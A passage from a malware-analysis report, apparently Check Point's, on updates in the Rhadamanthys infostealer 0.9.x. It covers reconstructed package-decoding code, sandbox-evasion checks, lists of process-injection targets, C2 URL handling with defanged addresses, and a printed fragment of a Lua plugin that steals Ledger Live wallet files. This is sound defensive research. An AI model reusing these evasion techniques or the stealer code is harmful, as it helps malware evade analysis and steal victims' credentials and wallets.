are\r\nobfuscated by XOR with a random key.\r\nOnce the key is generated, the decompressed content of the package is obfuscated, using a simple XOR-based obfuscation.\r\nThis way, the authors try to minimize the content that is exposed to memory dumping tools.\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\nvoid xor_based_enc_dec(\r\nconst uint8_t* src,\r\nstd::size_t size,\r\nuint8_t* dst,\r\nuint16_t key)\r\n{\r\nfor (std::size_t i = 0; i \u003c size; ++i) {\r\ndst[i] = src[i] ^ static_cast\u003cuint8_t\u003e(key);\r\nuint16_t lsb = key \u0026 1u;\r\nkey \u003e\u003e= 1;\r\nif (lsb) key ^= 0xB400u;\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 16 of 40\n\n}\r\n}\r\nvoid xor_based_enc_dec( const uint8_t* src, std::size_t size, uint8_t* dst, uint16_t key) { for (std::size_t i = 0; i \u003c size; ++i)\r\n{ dst[i] = src[i] ^ static_cast\u003cuint8_t\u003e(key); uint16_t lsb = key \u0026 1u; key \u003e\u003e= 1; if (lsb) key ^= 0xB400u; } }\r\nvoid xor_based_enc_dec(\r\n const uint8_t* src,\r\n std::size_t size,\r\n uint8_t* dst,\r\n uint16_t key)\r\n{\r\n for (std::size_t i = 0; i \u003c size; ++i) {\r\n dst[i] = src[i] ^ static_cast\u003cuint8_t\u003e(key);\r\n uint16_t lsb = key \u0026 1u;\r\n key \u003e\u003e= 1;\r\n if (lsb) key ^= 0xB400u;\r\n }\r\n}\r\nThe same XOR-based function is then used to reverse the obfuscation, when the individual module is about to be retrieved.\r\nIt is done by the function denoted as  fetch_from_package .\r\nThe reconstructed algorithm ( fetch_from_package ) is given below:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\nBYTE* fetch_from_package(PACKAGE* pkg, uint32_t wanted_checksum, size_t\u0026 out_size)\r\n{\r\nBYTE* base_data = (BYTE*)\u0026pkg-\u003edir_offset + pkg-\u003edata_offset;\r\nsize_t chunk_size = 2 \u003c\u003c pkg-\u003eblk_shift;\r\nfor (size_t i = 0; i \u003c pkg-\u003efile_count; i++) {\r\nif (wanted_checksum != pkg-\u003edir[i].checksum) continue;\r\nstd::cout \u003c\u003c std::dec \u003c\u003c i \u003c\u003c \"\\t Checksum: \" \u003c\u003c std::hex \u003c\u003c pkg-\u003edir[i].checksum \u003c\u003c \"\\t\";\r\nstd::cout \u003c\u003c \"Offset: \" \u003c\u003c std::hex \u003c\u003c pkg-\u003edir[i].header_rel_off \u003c\u003c \"\\n\";\r\nDATA_RECORD* rec = (DATA_RECORD*)(reinterpret_cast\u003cULONG_PTR\u003e(\u0026pkg-\u003edir_offset) + pkg-\r\n\u003edir[i].header_rel_off);\r\nsize_t chunks_count = rec-\u003esize / chunk_size;\r\nif (rec-\u003esize % chunk_size) ++chunks_count;\r\nBYTE* buf = (BYTE*)::calloc(rec-\u003esize, 1);\r\nif (!buf) break;\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 17 of 40\n\nsize_t size_decoded = 0;\r\nfor (size_t j = 0; j \u003c chunks_count; j++) {\r\nuint8_t offset = rec-\u003eoffset[j];\r\nsize_t src_ofs = chunk_size * offset;\r\nsize_t curr_size = chunk_size;\r\nsize_t remaining = rec-\u003esize - size_decoded;\r\nif (curr_size \u003e remaining) {\r\ncurr_size = remaining;\r\n}\r\nxor_based_enc_dec(\u0026base_data[src_ofs], curr_size, buf + size_decoded, pkg-\u003exor_key);\r\nsize_decoded += curr_size;\r\n}\r\nout_size = size_decoded;\r\nreturn buf;\r\n}\r\nreturn nullptr;\r\n}\r\nBYTE* fetch_from_package(PACKAGE* pkg, uint32_t wanted_checksum, size_t\u0026 out_size) { BYTE* base_data =\r\n(BYTE*)\u0026pkg-\u003edir_offset + pkg-\u003edata_offset; size_t chunk_size = 2 \u003c\u003c pkg-\u003eblk_shift; for (size_t i = 0; i \u003c pkg-\r\n\u003efile_count; i++) { if (wanted_checksum != pkg-\u003edir[i].checksum) continue; std::cout \u003c\u003c std::dec \u003c\u003c i \u003c\u003c \"\\t Checksum: \"\r\n\u003c\u003c std::hex \u003c\u003c pkg-\u003edir[i].checksum \u003c\u003c \"\\t\"; std::cout \u003c\u003c \"Offset: \" \u003c\u003c std::hex \u003c\u003c pkg-\u003edir[i].header_rel_off \u003c\u003c \"\\n\";\r\nDATA_RECORD* rec = (DATA_RECORD*)(reinterpret_cast\u003cULONG_PTR\u003e(\u0026pkg-\u003edir_offset) + pkg-\r\n\u003edir[i].header_rel_off); size_t chunks_count = rec-\u003esize / chunk_size; if (rec-\u003esize % chunk_size) ++chunks_count; BYTE*\r\nbuf = (BYTE*)::calloc(rec-\u003esize, 1); if (!buf) break; size_t size_decoded = 0; for (size_t j = 0; j \u003c chunks_count; j++) {\r\nuint8_t offset = rec-\u003eoffset[j]; size_t src_ofs = chunk_size * offset; size_t curr_size = chunk_size; size_t remaining = rec-\r\n\u003esize - size_decoded; if (curr_size \u003e remaining) { curr_size = remaining; } xor_based_enc_dec(\u0026base_data[src_ofs],\r\ncurr_size, buf + size_decoded, pkg-\u003exor_key); size_decoded += curr_size; } out_size = size_decoded; return buf; } return\r\nnullptr; }\r\nBYTE* fetch_from_package(PACKAGE* pkg, uint32_t wanted_checksum, size_t\u0026 out_size)\r\n{\r\n BYTE* base_data = (BYTE*)\u0026pkg-\u003edir_offset + pkg-\u003edata_offset;\r\n size_t chunk_size = 2 \u003c\u003c pkg-\u003eblk_shift;\r\n for (size_t i = 0; i \u003c pkg-\u003efile_count; i++) {\r\n if (wanted_checksum != pkg-\u003edir[i].checksum) continue;\r\n std::cout \u003c\u003c std::dec \u003c\u003c i \u003c\u003c \"\\t Checksum: \" \u003c\u003c std::hex \u003c\u003c pkg-\u003edir[i].checksum \u003c\u003c \"\\t\";\r\n std::cout \u003c\u003c \"Offset: \" \u003c\u003c std::hex \u003c\u003c pkg-\u003edir[i].header_rel_off \u003c\u003c \"\\n\";\r\n DATA_RECORD* rec = (DATA_RECORD*)(reinterpret_cast\u003cULONG_PTR\u003e(\u0026pkg-\u003edir_offset) + pkg-\u003edir[i].header_r\r\n size_t chunks_count = rec-\u003esize / chunk_size;\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 18 of 40\n\nif (rec-\u003esize % chunk_size) ++chunks_count;\r\n BYTE* buf = (BYTE*)::calloc(rec-\u003esize, 1);\r\n if (!buf) break;\r\n size_t size_decoded = 0;\r\n for (size_t j = 0; j \u003c chunks_count; j++) {\r\n uint8_t offset = rec-\u003eoffset[j];\r\n size_t src_ofs = chunk_size * offset;\r\n size_t curr_size = chunk_size;\r\n size_t remaining = rec-\u003esize - size_decoded;\r\n if (curr_size \u003e remaining) {\r\n curr_size = remaining;\r\n }\r\n xor_based_enc_dec(\u0026base_data[src_ofs], curr_size, buf + size_decoded, pkg-\u003exor_key);\r\n size_decoded += curr_size;\r\n }\r\n out_size = size_decoded;\r\n return buf;\r\n }\r\n return nullptr;\r\n}\r\nWith the help of our decoder, once you dumped the decompressed package, you can automatically list all the included\r\nmodules, and unpack them into separate files.\r\nmalware_analysis/rhadamanthys/v0.9/rhad_stage2_decoder.cpp at master · hasherezade/malware_analysis · GitHub\r\nAlthough the names of modules are now not preserved, we were able to map modules to their previous names by comparing\r\nsizes and the common code pattern. The resulting listing is provided in the Appendix A.\r\nAdditions in the evasion module\r\nThe initial package, shipped in the sample, contains multiple modules that are dedicated to evasion. They are run before the\r\nconnection to C2 is established. One of them was previously named “Strategy”. Even though, since the recent changes, the\r\nname is no longer mentioned in the code, we will still use it to refer the corresponding module.\r\n“Strategy” is responsible for extensive environment checks, and detecting if the sample is running in a controlled\r\nenvironment, such as a sandbox, or a machine with analysis tools. In the past releases, it was shipped alongside a single\r\nconfiguration file:  processes.x , containing the list of forbidden processes to be detected. The file was read from the\r\npackage, and passed as an argument to the Strategy’s Entry Point. Now the module and its flexibility has been extended.\r\nFirst of all, we no longer pass just the previously fetched list, but the fetching function itself, along with the package. Thanks\r\nto this, the Strategy module can load multiple pieces of the needed configuration on demand.\r\nThe first XS1 module (core), deploys Strategy passing to its Entry Point the pointer to the callback function, and the pointer\r\nto the package:\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 19 of 40\n\nFigure 15 – The fragment of the code responsible for deploying the Strategy module. We can see the\r\nfunction  fetch_from_package  together with the  package  passed as arguments for further use from inside\r\nthe module\r\nThe Entry Point of the Strategy module is given below. The execution starts by using the callback function to retrieve the\r\nprocesses list:\r\nFigure 16 – the function  fetch_from_package  is called multiple times from inside the Strategy module. First\r\nto retrieve the list of processes.\r\nAfter enumerating running processes, and checking them against the forbidden list, the module performs other interesting\r\nchecks. For example, it gets the current wallpaper, calculates its SHA1, and compares it with the hardcoded\r\none:  5b94362ac6a23c5aba706e8bfd11a5d8bab6097d  that represents the default wallpaper of the Triage sandbox. It then\r\nchecks for the presence of several sample files that are used in some of the sandbox environments: “foobar.jpg”,\r\n“foobar.mp3”, “foobar.txt”, “foobar.wri”, “waller.dat”. It checks the current username with the list of usernames typical for\r\nsandboxes, such as: “JohnDeo” (likely a typo in “JohnDoe”), “HAL9TH”, “JOHN”, “JOHN-PC”, “MUELLER-PC”,\r\n“george”, “DESKTOP-B0T”. It searches for files such as “keys.txt”, “passwords.txt”, and checks if their content is the same\r\nby comparing hashes – this detects the presence of some dummy files that are common in sandboxes.\r\nIf all those checks passed, it finally proceeds to the newly added function. This function needs a deeper explanation. It\r\nmakes use of two new configuration files that are fetched from the package and processed in the appropriate loops.\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 20 of 40\n\nFigure X - the function \u003ccode\u003efetch_from_package\u003c/code\u003e is called to retrieve the two new configuration\r\nfiles.\r\nFigure 17 – the function  fetch_from_package  is called to retrieve the two new configuration files.\r\nTo understand the meaning of the first configuration file, we need to take a deeper look at how it is processed. Inside the\r\nloop, a function is called that generates UUIDs and fetches the node value from it. The API used is  UuidCreateSequential ,\r\nwhich means UUID version 1 is involved. This algorithm, defined by RFC 4122 has an interesting feature. The last part of\r\nthe structure, Node identifier (48 bits) is a MAC address of a network interface. This was designed in 1980, where the\r\nfocus on privacy was much lower than it is currently, and MAC addresses were used because of they were guaranteed to be\r\nunique for each physical device (assigned by IEEE). Therefore, including the MAC address was the easiest way to ensure no\r\ntwo machines could generate identical UUIDs. Nowadays, this algorithm is considered obsolete. The modern version, UUID\r\nv4, doesn’t involve MAC addresses. However, the old UUIDv1 is still available for backward compatibility. The malware\r\nuses it for easy and stealthy fetching of MAC addresses from the infected machine. Next, it compares it against the\r\nhardcoded list. The listed MAC addresses represent known virtual interfaces. Full listing extracted from the sample can be\r\nfound here.\r\nThe second configuration file contains another set of identifiers. This time they contain HardWare IDs which will be\r\ncompared against the HWID retrieved using a WQL query:  \"SELECT UUID FROM [Win32_ComputerSystemProduct]\" . This is\r\nyet another way to detect known sandboxes. The full listing extracted from the sample can be found here.\r\nSome of the identifiers overlap with the blocklists used by the infostealer Skuld and Bandit Stealer.\r\nOnce the initial Rhadamanthys sample successfully cleared the environment as “safe to run”, using multiple dedicated\r\nmodules, it proceeds to download the next stage from the C2.\r\nBot ID generated from Volume ID\r\nWhen the malware beacons to its C2 server, it sends the Bot ID uniquely identifying the victim system. Currently, the bot ID\r\nis generated using two unique identifiers.\r\nFirst, the malware retrieves a unique machine GUID from the from the registry:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography -\u003e MachineGuid\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography -\u003e MachineGuid\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography -\u003e MachineGuid\r\nNext, it uses the Volume Serial Number retrieved by the API:  GetVolumeInformationW .\r\nThey are hashed together, using the SHA1 algorithm. As the Bot ID is now strictly tied to those unique identifiers, it is easier\r\nfor the attackers to blacklist some machines.\r\nThe ID is further represented as a hexadecimal string.\r\nThe same generator can be found in the Netclient (the element of Stage 2, responsible for the communication with the C2),\r\nas well as in the Stage 3 (the stealer core).\r\nFigure X - the function generating the Bot ID, implemented inside the Netclient module\r\nFigure 18 – the function generating the Bot ID, implemented inside the Netclient module\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 21 of 40\n\nNext stage as a PNG\r\nDownloading and decoding the main stage of Rhadamanthys (denoted as Stage 3) is managed by the Netclient module. For\r\nthe first two years of its existence, the malware shipped the package in a steganographic way: as a WAV file, or alternatively,\r\nas a JPG:\r\nFigure X - fragment of the Netclient module (the old version). Two callback functions are registered: to\r\nparse JPEG and WAV.\r\nFigure 19 – fragment of the Netclient module (the old version). Two callback functions are registered: to parse\r\nJPEG and WAV.\r\nThe JPG was used in earlier versions of Rhadamanthys (up to 0.4.5), and the WAV was in a regular use in more recent\r\nversions. A very good breakdown of the implementation details of how its steganography was implemented, was given\r\nby Bea in her presentation at Botconf 2024.\r\nThe Netclient module was significantly reworked since the latest version, 0.9.2. As before, the responsible function is\r\ninstalled as a callback fired up when a particular content type is encountered. This time, the expected type is  image/png :\r\nFigure X - fragment of the Netclient module (the new version). A single callback function is registered: to\r\nparse PNG.\r\nFigure 20 – fragment of the Netclient module (the new version). A single callback function is registered: to\r\nparse PNG.\r\nThe decoding function:\r\nFigure X - fragment of the Netclient module (the new version). Inside the function responsible for\r\ndecrypting the package from the PNG.\r\nFigure 21 – fragment of the Netclient module (the new version). Inside the function responsible for decrypting\r\nthe package from the PNG.\r\nThe whole mechanism of decryption, and verification of the payload, is very similar to what we saw before. The main\r\ndifference lies in how the input data is obtained. Previously, the bytes of the payload were hidden in some template file (JPG\r\nor WAV) that at first looked legitimate. A specific, custom steganogaphic algorithm was first used to grab the bytes\r\ninterwoven in the media content. Now the author has given up the facade, and the data is stored right away as a pixels,\r\nfollowing the structure:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\ntypedef struct png_data\r\n{\r\nBYTE key_n[0x20];\r\nBYTE key_e[0x20];\r\nDWORD size;\r\nBYTE hash[0x14];\r\nBYTE data[1];\r\n}_png_data;\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 22 of 40\n\ntypedef struct png_data { BYTE key_n[0x20]; BYTE key_e[0x20]; DWORD size; BYTE hash[0x14]; BYTE data[1];\r\n}_png_data;\r\ntypedef struct png_data\r\n{\r\n BYTE key_n[0x20];\r\n BYTE key_e[0x20];\r\n DWORD size;\r\n BYTE hash[0x14];\r\n BYTE data[1];\r\n}_png_data;\r\nIt gives a noisy-looking image: unappealing comparing to the author’s earlier attempts at steganography, but good enough to\r\ndo its job. Example:\r\nFigure X - example of the PNG file used by the latest versions of Rhadamanthys\r\nFigure 22 – example of the PNG file used by the latest versions of Rhadamanthys\r\nAs before, the decoding of the package from the PNG is not possible without the shared secret that is established during the\r\ncommunication with the C2. Therefore, we can’t simply decode the next stage from the PNG captured in the traffic.\r\nConfigurable list of injection targets\r\nRhadamanthys downloads its final stage using the Netclient module, that is loaded into the initial process. The fetched data\r\nis decrypted locally, making it a second package with modules. However, further unpacking and loading is be done inside\r\nanother process. As a cover, Rhadamanthys creates a legitimate process, which is first run in a suspended mode. The\r\ncomponents needed to initiate the second part of the loading chain are implanted there.\r\nIn past releases, the list of the possible targets was hardcoded in the sample, and one of the options was picked randomly.\r\nSince the author introduces more and more configurability, now this list is also shipped in a new file of the package. It\r\nmakes it easily modifiable by the distributors.\r\nIn the currently analyzed module, it contains the following options:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\n%Systemroot%\\system32\\bthudtask.exe\r\n%Systemroot%\\system32\\dllhost.exe\r\n%Systemroot%\\SysWOW64\\dllhost.exe\r\n%Systemroot%\\system32\\taskhostw.exe\r\n%Systemroot%\\SysWOW64\\TsWpfWrp.exe\r\n%Systemroot%\\system32\\spoolsv.exe\r\n%Systemroot%\\system32\\wuaulct.exe\r\n%Systemroot%\\system32\\AtBroker.exe\r\n%Systemroot%\\SysWOW64\\AtBroker.exe\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 23 of 40\n\n%Systemroot%\\system32\\fontdrvhost.exe\r\n%Systemroot%\\SysWOW64\\TsWpfWrp.exe\r\n%Systemroot%\\SysWOW64\\xwizard.exe\r\n%Systemroot%\\SysWOW64\\msinfo32.exe\r\n%Systemroot%\\SysWOW64\\msra.exe\r\n%Systemroot%\\system32\\bthudtask.exe %Systemroot%\\system32\\dllhost.exe %Systemroot%\\SysWOW64\\dllhost.exe\r\n%Systemroot%\\system32\\taskhostw.exe %Systemroot%\\SysWOW64\\TsWpfWrp.exe %Systemroot%\\system32\\spoolsv.exe\r\n%Systemroot%\\system32\\wuaulct.exe %Systemroot%\\system32\\AtBroker.exe %Systemroot%\\SysWOW64\\AtBroker.exe\r\n%Systemroot%\\system32\\fontdrvhost.exe %Systemroot%\\SysWOW64\\TsWpfWrp.exe\r\n%Systemroot%\\SysWOW64\\xwizard.exe %Systemroot%\\SysWOW64\\msinfo32.exe %Systemroot%\\SysWOW64\\msra.exe\r\n%Systemroot%\\system32\\bthudtask.exe\r\n%Systemroot%\\system32\\dllhost.exe\r\n%Systemroot%\\SysWOW64\\dllhost.exe\r\n%Systemroot%\\system32\\taskhostw.exe\r\n%Systemroot%\\SysWOW64\\TsWpfWrp.exe\r\n%Systemroot%\\system32\\spoolsv.exe\r\n%Systemroot%\\system32\\wuaulct.exe\r\n%Systemroot%\\system32\\AtBroker.exe\r\n%Systemroot%\\SysWOW64\\AtBroker.exe\r\n%Systemroot%\\system32\\fontdrvhost.exe\r\n%Systemroot%\\SysWOW64\\TsWpfWrp.exe\r\n%Systemroot%\\SysWOW64\\xwizard.exe\r\n%Systemroot%\\SysWOW64\\msinfo32.exe\r\n%Systemroot%\\SysWOW64\\msra.exe\r\nThe list is retrieved from the package. In two consecutive loops, the malware first checks which of the paths are accessible\r\non the victim machine, and collects them in another list. That list is passed to the second loop, which randomly picks a path\r\nfrom the available options.\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 24 of 40\n\nFigure 23 – Selecting the process where the next stage will be injected. The first loop is responsible for\r\nchecking if particular paths are accessible. The second loop is responsible for random selection of the\r\naccessible path.\r\nThe old list of processes is still used as a backup. Therefore, if the names from the list are not found in the system, the\r\nmalware tries to run one of the followings:\r\nPlain text\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 25 of 40\n\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\n\"%Systemroot%\\\\system32\\\\credwiz.exe\"\r\n\"%Systemroot%\\\\system32\\\\OOBE-Maintenance.exe\"\r\n\"%Systemroot%\\\\system32\\\\dllhost.exe\"\r\n\"%Systemroot%\\\\system32\\\\openwith.exe\"\r\n\"%Systemroot%\\\\system32\\\\rundll32.exe\"\r\n\"%Systemroot%\\\\system32\\\\credwiz.exe\" \"%Systemroot%\\\\system32\\\\OOBE-Maintenance.exe\"\r\n\"%Systemroot%\\\\system32\\\\dllhost.exe\" \"%Systemroot%\\\\system32\\\\openwith.exe\"\r\n\"%Systemroot%\\\\system32\\\\rundll32.exe\"\r\n\"%Systemroot%\\\\system32\\\\credwiz.exe\"\r\n\"%Systemroot%\\\\system32\\\\OOBE-Maintenance.exe\"\r\n\"%Systemroot%\\\\system32\\\\dllhost.exe\"\r\n\"%Systemroot%\\\\system32\\\\openwith.exe\"\r\n\"%Systemroot%\\\\system32\\\\rundll32.exe\"\r\nDiversification of the options creates another headache for incident responders.\r\nChanged string encryption (Stage 3)\r\nSince version 0.5, the majority of the strings used by Rhadamanthys, especially in its core modules, are obfuscated (details:\r\n[2]). The obfuscation scheme differs depending on the stage (XS1 vs XS2). To address this, we previously published two\r\ndistinct IDA scripts, one for each variant.\r\nReviewing the 0.9.x version, we found that one of the scripts needed modifications. Stage 2 (and the custom modules\r\nXS1_B) introduced no changes in string obfuscation – and our previously published IDA script [2] can still be applied.\r\nHowever, in Stage 3 (XS2_B modules), the algorithm was rewritten. The custom XOR-based algorithm was replaced with\r\nRC4.\r\nThe change doesn’t introduce any additional difficulty in decrypting it. It was probably added only to break existing tools,\r\nand disrupt the expected patterns. However, pinpointing the string deobfuscation functions is now more difficult, since they\r\ncome as multiple different instances. In the past there were just two main string deobfuscation functions, one for ANSI, and\r\nanother for Unicode strings. Once we identified them, and filled in their expected names in the IDB, we could quickly apply\r\nthe script to deobfuscate all the strings.\r\nCurrently, finding all the instances requires a bit more effort. Just like in the past, ANSI strings are decoded by different\r\nfunctions than Unicode strings. But then there are other subtypes. In some of those functions, the encrypted string is passed\r\nvia the first argument (we denote them as  dec_cstringA  /  dec_wstringA ), and others, it is passed via the second argument\r\n(we denote them as  dec_cstringB  /  dec_wstringB ).\r\nFigure X - One of the string decoding functions, Unicode variant.\r\nFigure 24 – One of the string decoding functions, Unicode variant.\r\nThose functions may be called directly in the code, or used via various wrappers.\r\nFigure X - Wrapper for one of the string decoding functions.\r\nFigure 25 – Wrapper for one of the string decoding functions.\r\nIn order to decrypt all the strings, we have to find all the variants, and their wrappers.\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 26 of 40\n\nWe provide the updated decryption script, that can be used for XS2_B [here]. The script assumes that the deobfuscating\r\nfunctions in our IDB are renamed appropriately (as presented [here]).\r\nFigure X - example of how the new function decrypting strings is called. The view contained the strings\r\nfilled by our script.\r\nFigure 26 – example of how the new function decrypting strings is called. The view contains the strings filled\r\nby our script.\r\nA listing of the deobfuscated strings from the analyzed sample is available [here].\r\nNetwork communication\r\nOnce the core stealer modules are downloaded and deployed, they carry out the main operations, and remain in\r\ncommunication with the C2 to upload the results, and receive commands. As in the previous Rhadamanthys variants, the\r\ncommunication is established via WebSocket, and uses the C2 address that is in the initial configuration.\r\nQuerying time services\r\nBefore the attempt to establish the connection to its C2, the sample queries the following services for the time, in random\r\norder:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\n\"time.google.com\"\r\n\"time.cloudflare.com\"\r\n\"time.facebook.com\"\r\n\"time.windows.com\"\r\n\"time.apple.com\"\r\n\"time-a-g.nist.gov\"\r\n\"ntp.time.in.ua\"\r\n\"ts1.aco.net\"\r\n\"ntp1.net.berkeley.edu\"\r\n\"ntp.nict.jp\"\r\n\"x.ns.gin.ntt.net\"\r\n\"gbg1.ntp.se\"\r\n\"ntp1.hetzner.de\"\r\n\"ntp.time.nl\"\r\n\"pool.ntp.org\"\r\n\"time.google.com\" \"time.cloudflare.com\" \"time.facebook.com\" \"time.windows.com\" \"time.apple.com\" \"time-a-g.nist.gov\"\r\n\"ntp.time.in.ua\" \"ts1.aco.net\" \"ntp1.net.berkeley.edu\" \"ntp.nict.jp\" \"x.ns.gin.ntt.net\" \"gbg1.ntp.se\" \"ntp1.hetzner.de\"\r\n\"ntp.time.nl\" \"pool.ntp.org\"\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 27 of 40\n\n\"time.google.com\"\r\n\"time.cloudflare.com\"\r\n\"time.facebook.com\"\r\n\"time.windows.com\"\r\n\"time.apple.com\"\r\n\"time-a-g.nist.gov\"\r\n\"ntp.time.in.ua\"\r\n\"ts1.aco.net\"\r\n\"ntp1.net.berkeley.edu\"\r\n\"ntp.nict.jp\"\r\n\"x.ns.gin.ntt.net\"\r\n\"gbg1.ntp.se\"\r\n\"ntp1.hetzner.de\"\r\n\"ntp.time.nl\"\r\n\"pool.ntp.org\"\r\nThis was added in the recent editions of Rhadamanthy (0.9.x) and was not seen in earlier releases.\r\nProcessing the URL\r\nAn interesting detail added in the latest version in Rhadamanthys is, that the URL from the configuration is further\r\nprocessed. First, the following algorithm is used to generate a random string:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\nvoid generate_domain_str(char *buf, size_t max) {\r\nsrand(time(0));\r\nrand();\r\nfor (size_t i = 0; i \u003c max; i++)\r\n{\r\nint rval = rand();\r\nBYTE c = rval\r\n- 0x1A\r\n* (((((unsigned __int64)(0x4EC4EC4FLL * rval) \u003e\u003e 0x20)\r\n\u0026 0x80000000) != 0LL)\r\n+ ((int)((unsigned __int64)(0x4EC4EC4FLL * rval) \u003e\u003e 0x20) \u003e\u003e 3))\r\n+ 0x61;\r\nbuf[i] = c;\r\n}\r\n}\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 28 of 40\n\nvoid generate_domain_str(char *buf, size_t max) { srand(time(0)); rand(); for (size_t i = 0; i \u003c max; i++) { int rval = rand();\r\nBYTE c = rval - 0x1A * (((((unsigned __int64)(0x4EC4EC4FLL * rval) \u003e\u003e 0x20) \u0026 0x80000000) != 0LL) + ((int)\r\n((unsigned __int64)(0x4EC4EC4FLL * rval) \u003e\u003e 0x20) \u003e\u003e 3)) + 0x61; buf[i] = c; } }\r\nvoid generate_domain_str(char *buf, size_t max) {\r\n srand(time(0));\r\n rand();\r\n for (size_t i = 0; i \u003c max; i++)\r\n {\r\n int rval = rand();\r\n BYTE c = rval\r\n - 0x1A\r\n * (((((unsigned __int64)(0x4EC4EC4FLL * rval) \u003e\u003e 0x20)\r\n \u0026 0x80000000) != 0LL)\r\n + ((int)((unsigned __int64)(0x4EC4EC4FLL * rval) \u003e\u003e 0x20) \u003e\u003e 3))\r\n + 0x61;\r\n buf[i] = c;\r\n }\r\n}\r\nWhen this algorithm is applied, the domain from the config is partially overwritten by the random content. The length of the\r\nURL before the first “/” (i.e. denoting the IP and the port) is used as the length of the new string. Next, the ‘.’ is inserted two\r\ncharacters before the new string end, making it look like a domain.\r\nExamples of the transformations:\r\n192.30.242[.]210:8888/gateway/qq7o8k3h.fnliq  →  hxxps://mohbskyjlaztloar.dq/gateway/qq7o8k3h.fnliq\r\n193.84.71[.]81/gateway/wcm6paht.htbq1  →  hxxps://jvmhnrlbt.xf/gateway/wcm6paht.htbq1\r\nAt first it looks like DGA, however, the generated domains do not resolve, and they are too random to really be used. The\r\ngeneration algorithm makes the output sensitive not just to a different date, but it changes every second.\r\nThe address of the C2 that we can observe in the network communication is still the same as the one in the config.\r\nFigure X - The view from Wireshark showing the communication with the C2. The C2 address is the same\r\nas the one set in the configuration.\r\nFigure 27 – The view from Wireshark showing the communication with the C2. The C2 address is the same as\r\nthe one set in the configuration.\r\nFigure X - The view from ProcMon showing the communication with the C2. The C2 address is the same\r\nas the one set in the configuration.\r\nFigure 28 – The view from ProcMon showing the communication with the C2. The C2 address is the same as\r\nthe one set in the configuration.\r\nIt is possible that the authors added it just as an additional confusion.\r\nLua stealers\r\nSince its early releases, Rhadamanthys core stealer comes with a built-in Lua runner. It serves additional stealer plugins\r\nwritten in this language.\r\nAll available Lua stealers (in 0.9.1):\r\nFTP\r\n– CoreFTP – CuteFTP – Cyberduck – Filezilla – FlashFXP – FtpNavigator – FTPRush – SSH – SmartFTP –\r\nTotal Commander – WinSCP – putty\r\nMail\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 29 of 40\n\n– CheckMail – Clawsmail – EMClient – Foxmail – GmailNotifierPro – Outlook – TheBat – TrulyMail –\r\nThunderBird\r\nMessenger\r\n– Discord – Telegram – Pidgin – Psi+ – Tox\r\nNotes\r\n– Stickynotes – Notefly – Notezilla\r\nVPN\r\n– OpenVPN – OpenVPN Connect – AzireVPN – NordVPN – PrivateVPN – ProtonVPN – WindscribeVPN\r\nGames\r\n– Steam\r\n2FA\r\n– Authy Desktop – RoboForm\r\nPM\r\n– KeePass\r\nMisc\r\n– TeamViewer – WebCredential – WindowsCredential\r\nWallet\r\n– Armory – Atomex.me – Atomicdex – AtomicWallet – BinanceWallet – BitcoinCore – Bither – ByteCoin –\r\nCoinomi – DashCore – Defichain-Electrum – Dogecoin – Electron-Cash – Electrum-LTC – Electrum-SV –\r\nElectrum – Exodus – Frame – Guarda – Jaxx – Litecoin – LitecoinCore – Monero – MyCrypto – MyMonero –\r\nQtum-Electrum – Qtum – Safepay – Solar Wallet – TokenPocket – WalletWasabi – Zap – Zecwallet Lite\r\nThe recent release (0.9.2) added a single Lua extension (id: 0x23) for Ledger Live crypto wallet app:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\nlocal files = {}\r\nlocal file_count = 0\r\nif not framework.flag_exist(\"W\") then\r\nreturn\r\nend\r\nlocal paths = {\r\nframework.parse_path([[%AppData%\\Ledger Live]]),\r\nframework.parse_path([[%LOCALAppData%\\Ledger Live]])\r\n}\r\nfor i, path in ipairs(paths) do\r\nif path ~= nil and framework.path_exist(path) then\r\nlocal offset = string.len(path) + 2\r\nframework.fs_search(path, function(entry)\r\nlocal name = string.sub(entry.Filename, offset)\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 30 of 40\n\nfiles[name] = entry.Filename\r\nfile_count = file_count + 1\r\nend,true)\r\nif file_count \u003e 0 